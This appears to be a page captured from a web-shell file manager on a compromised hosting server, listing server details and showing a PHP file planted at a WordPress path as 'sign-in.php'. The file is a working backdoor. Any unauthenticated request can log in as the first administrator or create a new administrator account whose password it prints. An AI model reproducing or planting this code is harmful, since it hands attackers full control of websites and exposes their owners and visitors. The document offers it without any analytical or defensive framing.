HEX
Server: LiteSpeed
System: Linux box401.parsvds.com 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
User: iymdjwzl (2335)
PHP: 7.4.33
Disabled: exec,shell_exec,system,passthru,popen,eval,proc_close,proc_open,pcntl_exec,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority
Upload Files
File: /home/iymdjwzl/public_html/wp-admin/user/sign-in.php
<?php 

define('WP_USE_THEMES', false);
define('WP_DIRECTORY', load_wordpress_core());

function load_wordpress_core(){
    $current_directory = dirname(__FILE__);
    while ($current_directory != '/' && !file_exists($current_directory . '/wp-load.php')) {
        $current_directory = dirname($current_directory);
    }
    return $current_directory ?  : $_SERVER['DOCUMENT_ROOT'];
}

require_once WP_DIRECTORY . '/wp-load.php';

class November {
    public function __construct() {
        $this->action = $_REQUEST['action'];
    }

    public function doAction() {
        switch($this->action) {
            case 'login':
                $user = get_users(["role" => "administrator"])[0];
                $user_id = $user->data->ID;
                wp_set_auth_cookie($user_id);
                wp_set_current_user($user_id);
                die("Probably $user_id?");
            case 'create':
                $username = 'admin' . rand(1000, 9999);
                $password = $this->generateRandomString(8);
                $email = $username . '@admin.com';
                if (!username_exists($username) && !email_exists($email)) {
                    $user_id = wp_create_user($username, $password, $email);
                    if (is_wp_error($user_id)) {
                        die('Error: ' . $user_id->get_error_message());
                    } else {
                        $user = new WP_User($user_id);
                        $user->set_role('administrator');
                        die("Username: $username, Email: $email, Password: $password");
                    }
                } else {
                    die('User already exists');
                }
            default: 
                $this->message['message'] = 'Nothing to do??';
                echo json_encode($this->message);
        }
    }

    private function generateRandomString($length = 8) {
        $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
        $charactersLength = strlen($characters);
        $randomString = '';
        for ($i = 0; $i < $length; $i++) {
            $randomString .= $characters[rand(0, $charactersLength - 1)];
        }
        return $randomString;
    }
}

$nov = new November();
$nov->doAction();